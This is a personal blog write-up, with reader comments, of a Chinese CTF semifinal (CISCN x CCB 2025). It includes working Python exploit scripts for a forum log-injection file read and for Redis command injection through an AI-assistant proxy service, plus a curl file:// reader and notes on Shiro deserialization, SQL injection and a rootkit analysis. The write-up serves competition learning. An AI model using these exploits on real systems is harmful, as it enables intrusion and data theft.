CISCN x CCB 半决赛 2025

趁着记忆还残留部分,记录寄录

全天8小时的比赛,全程都可以用我是NT总结概括

AWDP

死命修修不对,服务异常拉满,耻辱下播,记得去年半决赛就是修不好,但是题少,倒也影响不大

ccforum | 2025/03/16 21:16:00

break

  • 打任意文件读,主要关注的点在于写日志和读日志
# config.php
function encode_uname($username)
{
    return base64_encode($username);
}

function log_action($username, $action, $succ, $additional = '')
{
    $log_id = uniqid();
    $e_username = encode_uname($username);
    $log_line = sprintf(
        "%s,%s,%s,%d,%s\n",
        $log_id,
        $e_username,
        $action,
        $succ,
        $additional
    );

    file_put_contents('./action.log', $log_line, FILE_APPEND);
}
# admin.php
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

$banned_users = [];
$failed_logs = [];

foreach ($log_lines as $line) {
    if (empty($line)) {
        continue;
    }

    $parts = explode(',', $line);
    if (count($parts) < 5) {
        continue;
    }

    $encoded_user = $parts[1];
    $action = $parts[2];
    $success = (int) $parts[3];
    $additional_info = $parts[4];

    if ($action === 'record_banned') {
        if ($success === 1) {
            $banned_users[$encoded_user][] = $additional_info;
        } else {
            $failed_logs[] = $additional_info;
        }
    }
}

$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
    $banned_dir = "./banned/{$encoded_user}";

    if (file_exists($banned_dir)) {
        $files = scandir($banned_dir);
        foreach ($files as $file) {
            if ($file !== '.' && $file !== '..') {
                $file_path = $banned_dir . '/' . $file;
                $content = file_get_contents($file_path);
                $banned_contents[$username][] = $content;
            }
        }
    }
}
  • 在构造banned日志路径时,拼接了base64后的username,然后创建文件夹,带有时间的txt文件
  • 读取日志时,以换行分割,再每行以英文逗号分隔,然后将username从中取出拼接路径读取banned_dir下所有文件
  • 希望最终控制读文件的路径,达到任意文件读,经过简单分析可知无法通过干扰分割逗号时控制encoded_user,尝试干扰分割换行;关注record_banned函数,写入日志行时,只有进入!$created分支才会有可控参数username被写入
  • 那么需要让$createdfalse,即目录创建失败;mkdir()不可创建多层目录,则可以通过构造包含/的base64值使其失败,同时为拼接进logusername换行,则原username还需包含换行符
  • 注册即可注入日志
  • admin.php弱口令admin/password访问即可

from requests import Session


basic = "http://127.0.0.1"

def register(sess: Session):
    data = {
        "username": "???\n,../,record_banned,1,",
        "password": "123456789012",
    }
    resp = sess.post(basic + "/register.php", data=data)


def login(sess: Session):
    data = {
        "username": "???\n,../,record_banned,1,",
        "password": "123456789012",
    }
    resp = sess.post(basic + "/login.php", data=data)


def post(sess: Session):
    data = {
        "title": "敏感词",
        "content": "tset",
    }
    resp = sess.post(basic + "/post.php", data=data)


if __name__ == "__main__":
    sess = Session()
    register(sess)
    login(sess)
    post(sess)

fix

  • 主要问题出在目录拼接,则将base64替换为md5即可

rng-assistant | 2025/03/17 12:50:00

break

  • 程序主要功能在于通过TCP和别的服务进行通信返回响应
  • 可以注意到一个很明显有问题的功能,可以添加新的端口
  • 再看环境中的redis,这不得连连,写个脚本
from requests import Session

basic = "http://ip:port"


def register(sess: Session):
    data = {
        "username": "123",
        "password": "123"
    }
    resp = sess.post(basic + "/register", json=data)
    print(resp.text)


def login(sess: Session):
    headers = {
        "Content-Type": "application/json",
        "X-User-Role": "admin",
    }
    data = {
        "username": "123",
        "password": "123"
    }
    resp = sess.post(basic + "/login", json=data, headers=headers)
    print(resp.text)


def add_port(sess: Session):
    headers = {
        "Content-Type": "application/json",
        "X-User-Role": "admin",
        "X-Secret": "210317a2ee916063014c57d879b9d3bc",
    }
    data = {
        "model_id": "test",
        "port": 6379
    }
    resp = sess.post(basic + "/admin/model_ports", json=data, headers=headers)
    print(resp.text)


def ask(sess: Session, prompt: str):
    headers = {
        "Content-Type": "application/json",
        "X-User-Role": "admin",
        "X-Secret": "210317a2ee916063014c57d879b9d3bc",
    }
    data = {
        "prompt": f"{prompt}\n",
        "model_id": "test"
    }
    resp = sess.post(basic + "/admin/raw_ask", json=data, headers=headers)
    print(resp.text)


if __name__ == '__main__':
    session = Session()
    register(session)
    login(session)
    add_port(session)
    ask(session, "config  set dir /tmp")
    ask(session, "config   set dbfilename math-v1.txt")
    ask(session, "set x   '{t.get_template.__globals__}'")
    ask(session, "save  ")
  • 可以看到redis执行的很顺利,然后发现不对劲,原本想通过控制model_id拼接路径直接返回FLAG,发现model_id实际不可控
  • redis服务为低权限,直接往/app/static/prompts/math-v1.txtcrontab写文件,系统权限不够,就很难绷,想想其他常见的redis打法,感觉也就只有主从复制能打打了,但现在没有靶机环境,也不知道通不通傻逼了,打缓存
from requests import Session

basic = "http://ip:port"


def register(sess: Session):
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/register", json=data)
print(resp.text)


def login(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
}
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/login", json=data, headers=headers)
print(resp.text)


def add_port(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"model_id": "test",
"port": 6379
}
resp = sess.post(basic + "/admin/model_ports", json=data, headers=headers)
print(resp.text)


def ask(sess: Session, prompt: str):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"prompt": f"{prompt}\n",
"model_id": "test"
}
resp = sess.post(basic + "/admin/raw_ask", json=data, headers=headers)
print(resp.text)


def cache(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"question": "test",
"model_id": "math-v1"
}
resp = sess.post(basic + "/ask", json=data, headers=headers)
print(resp.text)


if __name__ == '__main__':
session = Session()
register(session)
login(session)
add_port(session)
cache(session)
ask(session, "set prompt:math-v1 '{t.get_template.__globals__}'")
cache(session)

fix

  • 感觉把redis端口ban了就好

php-master | 2025/03/18 01:30:00

已经有题解了,看起来和web没什么关系,不写了

https://bbs.kanxue.com/thread-286086.htm

break

  • 简单的文件上传服务,简单尝试之后发现几乎所有函数都用不了,查看php.ini,一眼望不到头的disable_functionsdisable_classes
  • 通过对比,筛选还可使用的函数和类
['internal', 'error_reporting', 'preg_match', 'preg_match_all', 'curl_close', 'curl_copy_handle', 'curl_errno', 'curl_error', 'curl_escape', 'curl_unescape', 'curl_multi_setopt', 'curl_exec', 'curl_file_create', 'curl_getinfo', 'curl_init', 'curl_multi_add_handle', 'curl_multi_close', 'curl_multi_errno', 'curl_multi_exec', 'curl_multi_getcontent', 'curl_multi_info_read', 'curl_multi_init', 'curl_multi_remove_handle', 'curl_multi_select', 'curl_multi_strerror', 'curl_pause', 'curl_reset', 'curl_setopt_array', 'curl_setopt', 'curl_share_close', 'curl_share_errno', 'curl_share_init', 'curl_share_setopt', 'curl_share_strerror', 'curl_strerror', 'curl_version', 'mb_language', 'mb_internal_encoding', 'mb_http_input', 'mb_http_output', 'mb_detect_order', 'mb_substitute_character', 'mb_preferred_mime_name', 'mb_parse_str', 'mb_output_handler', 'mb_str_split', 'mb_strlen', 'mb_strpos', 'mb_strrpos', 'mb_stripos', 'mb_strripos', 'mb_strstr', 'mb_strrchr', 'mb_stristr', 'mb_strrichr', 'mb_substr_count', 'mb_substr', 'mb_strcut', 'mb_strwidth', 'mb_strimwidth', 'mb_convert_encoding', 'mb_convert_case', 'mb_strtoupper', 'mb_strtolower', 'mb_detect_encoding', 'mb_list_encodings', 'mb_encoding_aliases', 'mb_encode_mimeheader', 'mb_decode_mimeheader', 'mb_convert_kana', 'mb_convert_variables', 'mb_encode_numericentity', 'mb_decode_numericentity', 'mb_send_mail', 'mb_get_info', 'mb_check_encoding', 'mb_scrub', 'mb_ord', 'mb_chr', 'mb_regex_encoding', 'mb_ereg', 'mb_eregi', 'mb_ereg_replace', 'mb_eregi_replace', 'mb_ereg_replace_callback', 'mb_split', 'mb_ereg_match', 'mb_ereg_search', 'mb_ereg_search_pos', 'mb_ereg_search_regs', 'mb_ereg_search_init', 'mb_ereg_search_getregs', 'mb_ereg_search_getpos', 'mb_ereg_search_setpos', 'mb_regex_set_options', 'ob_start', 'ob_end_flush', 'ob_get_contents', 'sleep', 'move_uploaded_file', 'bin2hex', 'hex2bin', 'basename', 'ord', 'chr', 'strrev', 'str_repeat', 'str_pad', 'hexdec', 'dechex', 'pack', 'apache_lookup_uri', 'virtual', 'apache_request_headers', 'getallheaders', 'apache_response_headers', 'apache_note', 'apache_setenv', 'apache_getenv', 'apache_get_version', 'apache_get_modules', 'test1', 'test2', 'construct', 'allocate', 'overwrite', 'clear']
['Error', 'SQLite3', 'SQLite3Stmt', 'SQLite3Result', 'CurlHandle', 'CurlMultiHandle', 'CurlShareHandle', 'CURLFile', 'CURLStringFile']
  • /start.sh
#!/bin/bash

echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"

# DO NOT DELETE
service apache2 start
sleep infinity;
  • 没办法,必须要RCE
root@e541313897cd:/var/www/html# ls -al /
total 980
drwxr-xr-x   1 root root   4096 Mar 18 14:54 .
drwxr-xr-x   1 root root   4096 Mar 18 14:54 ..
-rwxr-xr-x   1 root root      0 Mar 18 14:54 .dockerenv
drwxr-xr-x   1 root root   4096 Feb 28 17:23 bin
drwxr-xr-x   2 root root   4096 Sep  3  2022 boot
drwxr-xr-x   5 root root    340 Mar 18 14:54 dev
drwxr-xr-x   1 root root   4096 Mar 18 14:54 etc
-r--------   1 root root     16 Mar 18 14:54 flag
drwxr-xr-x   2 root root   4096 Sep  3  2022 home
drwxr-xr-x   1 root root   4096 Jun 13  2023 lib
drwxr-xr-x   1 root root   4096 Feb 28 17:23 lib64
drwxr-xr-x   2 root root   4096 Jun 12  2023 media
drwxr-xr-x   2 root root   4096 Jun 12  2023 mnt
drwxr-xr-x   2 root root   4096 Jun 12  2023 opt
dr-xr-xr-x 335 root root      0 Mar 18 14:54 proc
-rwsr-sr-x   1 root root 901144 Feb 28 18:15 readflag
drwx------   1 root root   4096 Mar 18 14:57 root
drwxr-xr-x   1 root root   4096 Jun 13  2023 run
drwxr-xr-x   1 root root   4096 Feb 28 17:23 sbin
drwxr-xr-x   2 root root   4096 Jun 12  2023 srv
-rwsr-sr-x   1 root root    129 Feb 28 18:17 start.sh
dr-xr-xr-x  11 root root      0 Mar 18 14:54 sys
drwxrwxrwt   1 root root   4096 Mar 18 14:57 tmp
drwxr-xr-x   1 root root   4096 Jun 12  2023 usr
drwxr-xr-x   1 root root   4096 Jun 13  2023 var
  • 看到php.ini文件最下方,加载一个extension
  • 这下知道为什么是web-pwn了,应该归到pwn中,主要定义了6个函数
  • pwn✌说,要地址,于是上帝创造了read_file,通过curl file协议(include())实现任意文件读,剩下怎么打pwn✌还没发话
<?php 

function read_file($path) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "file://".$path);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $content = curl_exec($ch);
    if ($content === false) {
        throw new Error("read error: " . curl_error($ch));
    }
    curl_close($ch);
    
    return $content;
}

try {
    $fileContent = read_file("/proc/self/maps");
    echo $fileContent;
} catch (Error $e) {
    echo $e->getMessage();
}

fix

  • 禁止上传php文件,preg_match

ISW

NT指数:指明明可以简单解决但就是瞎操作导致的时间精力浪费

应急响应 | 2025/03/17 15:20:00

我以为我交的flag是 1 2 4的题解,实际上是 1 3 4的题解,主打一个过程全错,结果正确

flag1

  • 给了ssh,题目描述要抓控制端ip:port,好,那么tcpdump,欸,咱就是不喜欢-i any,非要-i eth0,好,网卡指定错了,将近四十分钟抓不到包,换-i eth1,NT指数+1
tcpdump -i eth1 -A tcp

# flag{md5(192.168.57.203:4948)}

flag2

  • 需要木马的md5,这个还行,NT+0.5,对提供的ISW附件进行字符串爆搜IP,发现存在这个字符串,观察一下上下文的字节,一个ELF
  • 选择对检材进行取证,FTK挂载(为什么不用远程环境,原来是抓半天PID抓不到啊,那没事了,放弃
  • DiskGenius读取,恢复被删除文件,然后就是漫长的翻找
  • 由持久化,考虑自启动,在/etc/systemd/system中注意到两个被删除文件,这个service同样可以在/run中找到
  • 被加载的内核模块即为远控,2025/03/17更新,并非远控,提交flag并不显示哪问对了,这个文件的md5应该是flag3
  • 对这个内核模块进行逆向,查看字符串
  • 可以发现一些HIDE值,查交叉引用
  • 包含了对processtcpudp的隐藏设置,可以看到隐藏了三个systemd相关的文件名
  • 重新查看字符串,可以看到一个相关的路径
  • 通过file可以确认该文件的存在
  • 再分析分析,可以判断该内核模块的行为,下载木马,隐藏进程、文件,执行
  • 应该是agent的下载链接,wordpress为木马分发站
192.168.57.207/wp_content/upload/2025/02/agent
  • flag2应该为systemd-agented的md5
flag{bccad26b665ca175cd02aca2903d8b1e}

flag3

  • 没找到,但是可以发现一个shell脚本,为下载执行阶段,但并不是这个,至少我没提交成功,题目描述要求为定时任务程序(好像,忘了)
  • 由上文,正确的持久化程序应该是那个内核模块system-upgrade.ko
flag{78edba7cbd107eb6e3d2f90f5eca734e}

flag4

  • 由上文得,远控原始名称为
flag{md5(.system_upgrade)}

# 记不清了,要么加点,要么不加点

flag5

https://s.threatbook.com/report/file/7c84d5582487b63ff1a7ba94f271e182b707a4d9d0d49441b8a1fd83d30f9031

https://www.virustotal.com/gui/file/7c84d5582487b63ff1a7ba94f271e182b707a4d9d0d49441b8a1fd83d30f9031/behavior

神通广大,谁搁赛中在线分析呢?

  • 要求提交远控通信加密密钥,给队内逆向手了,没拟出来,草草试了两个字符串,不对,逆向systemd-agentd,怎么找到的不知道,只能说逆向手nb
flag{ThIS_1S_th3_S3cR3t_fl@g}

flag6

  • 打远控分发站,内网有俩ip,分发站是个wordpress题目描述中涉及到压缩包解密,在磁盘中翻到个加密压缩包,不知道是不是,浅猜一手,登录密码在马子里

flag7

  • 打控制端

好像就7个吧

CCB2025

  • 入口一个xss,跳过,不想看,也不会(

数据管理

  • 入口一个Shiro,一个pwn,pwn的端口比较高6w多,一个简单的rop,但是我没扫到那么高的端口,或者说开始扫了,扫一半不想扫了,NT指数+100;Shiro,前端可以看到有个文件下载接口,实现任意文件读,通过读取/proc/self/cmdline得到路径/home/webapp/ShiroProject-0.0.1-SNAPSHOT.jar,里面手动设置了密钥,打Shiro反序化,RCE后suid提权
  • 但是,用工具的时候设置错了密钥,doLogin写成login,导致痛失flag,NT指数+10000000000,后续咱也就不知道了

GitLab

flag1

  • 首先一个.git泄露,GitHack执行的时候报错,给修好了(为什么要把时间浪费在这种地方,NT指数+1),倒也能用,在.git/index瞥见一个flag.php,肯定有flag,回滚几次得到flag

flag2

  • 登录的地方有很明显的SQLI,sqlmap启动
  • 同时扫描端口是可以看到110端口为pop3服务
  • 登录pop3拿flag

耻辱的一天就这样结束了,等到这个月西湖论剑结束,直接一个电脑格式化,远离CTF,道心破碎了

一队小登真不戳,也是决赛了🎅

仔细想想倒也是,很久不正经学安全了,这几个月的时间都在开发比赛平台,虽然也不知道究竟有没有正式投入使用的一天

以前会的东西也都生疏了,shiro又卡在工具使用,虽说不会Java,但原理倒也理解,路径设置错属实难以原谅;技术差

这次队里就一个web,渗透,一眼看过去awdp那么多题,渗透四个环境,脑子就乱糟糟的,这儿看看那看看,什么都没捞着;心态差

awdp达到一半就开始发冷,上半身止不住战栗,打字都不稳,脑子也不稳了;素质差

真是难难又绷绷得一天呢

评论

  1. Avatar photo
    111
    2 周前
    2025-3-17 22:00:18

    师傅你这pop3直接登录就有flag吗?

  2. Avatar photo
    2 周前
    2025-3-18 17:02:51

    师傅您好,麻烦问问 rng 这题具体是怎么 fix 的吗(/TДT)/
    我几乎从头看到尾,试着过滤 6379 端口,但是死命修都不过 check
    我记得我们天津赛区最后好像也是零解的,因此想看看师傅的 update.sh
    非常感谢!

    • Avatar photo
      博主
      MetaMiku
      2 周前
      2025-3-18 19:19:50

      赛后复现的,我也不清楚具体怎么修,尝试break感觉只能打redis;如果利用点不在这儿我也不太清楚了

    • Retr_0
      MetaMiku
      已编辑
      5 天前
      2025-3-24 16:48:35

      过滤\r\n不就好了 或者模板注入类似的 黑名单都可以。

  3. Avatar photo
    test
    2 周前
    2025-3-19 0:04:32

    师傅您好,这ccforum 在注册非法用户的时候 是如何利用的。rce还是文件读取,我注册了这个用户但是我去访问/admin.php 就只有被htmlspecialchars的敏感内容
    不知道为什么不会出现action.log的内容

    • Avatar photo
      博主
      test
      1 周前
      2025-3-19 0:34:27

      哦,我的锅,注册,登录,post,然后才能注actoin.log

  4. Avatar photo
    123
    1 周前
    2025-3-19 0:28:08

    师傅 这里成功在admin.php读取了代码 有啥后续的利用吗

    • Avatar photo
      博主
      123
      1 周前
      2025-3-19 0:37:07

      没什么了吧,路径换到根目录直接读flag就好了

  5. Avatar photo
    peppa
    已编辑
    1 周前
    2025-3-19 17:55:46

    666啊师傅

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇